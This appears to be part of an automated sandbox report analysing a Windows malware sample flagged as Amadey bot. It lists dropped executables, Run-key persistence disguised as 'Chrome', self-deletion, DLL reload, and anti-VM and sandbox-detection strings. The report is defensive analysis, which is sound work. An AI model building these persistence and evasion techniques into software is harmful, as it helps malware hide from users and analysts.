Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E63 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402665 push cs; ret	24_2_0040266B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_0040290C push eax; iretd	24_2_0040290D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E16 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402DC0 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402DD8 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402DE8 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402DF1 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E82 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E85 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402D92 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E95 push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00401D9A pushad ; ret	24_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402E9C push eax; ret	24_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4CD0D1 push ecx; ret	24_2_6B4CD0E4
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 25_2_0040B550 push eax; ret	25_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 25_2_0040B550 push eax; ret	25_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 25_2_0040B50D push ecx; ret	25_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Code function: 29_2_002DCF50 push ss; ret	29_2_002DCF51
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 30_2_0040B550 push eax; ret	30_2_0040B564
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 30_2_0040B550 push eax; ret	30_2_0040B58C
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: 30_2_0040B50D push ecx; ret	30_2_0040B51D
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Code function: 33_2_02B61AB1 push ds; retf	33_2_02B61AB9
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Code function: 33_2_02B628C4 push esp; iretd	33_2_02B628C5
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Code function: 33_2_02B62728 push ds; retf	33_2_02B6272C
Source: C:\Users\user\AppData\Local\Temp\B084.exe	Code function: 33_2_02B61614 push edx; iretd	33_2_02B61622
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_0040BDAD push eax; retn 0040h	34_2_0040BDC7
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00410F16 push ecx; ret	34_2_00410F29

Source: C:\Users\user\Desktop\cnv622JnZv.exe

Code function: 0_2_00427590 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00427590

Source: 77DC.exe.6.dr

Static PE information: 0x8B87D1F5 [Mon Mar 7 03:28:53 2044 UTC]

Source: cnv622JnZv.exe	Static PE information: section name: .mehepek
Source: 8615.exe.6.dr	Static PE information: section name: .cipizi
Source: 2E26.exe.6.dr	Static PE information: section name: .MPRESS1
Source: 2E26.exe.6.dr	Static PE information: section name: .MPRESS2
Source: B084.exe.6.dr	Static PE information: section name: .daya
Source: C5EA.exe.6.dr	Static PE information: section name: .lufulac
Source: 152F.exe.6.dr	Static PE information: section name: .rulofiv
Source: jejhieg.6.dr	Static PE information: section name: .mehepek
Source: bejhieg.6.dr	Static PE information: section name: .cipizi

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: A557.exe.6.dr	Static PE information: real checksum: 0x2bdee should be: 0x3529c
Source: 977B.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xdd7bb
Source: 66A4.exe.6.dr	Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66

Source: initial sample	Static PE information: section name: .text entropy: 7.00461715058
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample	Static PE information: section name: .text entropy: 6.98189062284
Source: initial sample	Static PE information: section name: .text entropy: 7.87137605191
Source: initial sample	Static PE information: section name: .text entropy: 6.99265157433
Source: initial sample	Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample	Static PE information: section name: .text entropy: 7.66944674948
Source: initial sample	Static PE information: section name: .text entropy: 7.00461715058
Source: initial sample	Static PE information: section name: .text entropy: 7.38549549306

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jejhieg			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bejhieg			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\977B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\bejhieg	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	File created: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8615.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\jejhieg	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\977B.exe	File created: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2E26.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C5EA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A557.exe	File created: C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A557.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\66A4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\152F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8615.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\77DC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B084.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\977B.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chrome
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chrome

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe

Code function: 25_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

25_2_00401306

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\8615.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\cnv622jnzv.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\jejhieg:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe

Code function: 25_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

25_2_00408E31

Source: C:\Users\user\AppData\Local\Temp\66A4.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\66A4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\77DC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A557.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match

File source: Process Memory Space: 66A4.exe PID: 3536, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: C5EA.exe, 00000012.00000002.379102872.00000000006BB000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL/WINE_GET_UNIX_FILE_NAMEQEMU
Source: 66A4.exe, 00000016.00000003.482381534.0000000006B8B000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLLUSER

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
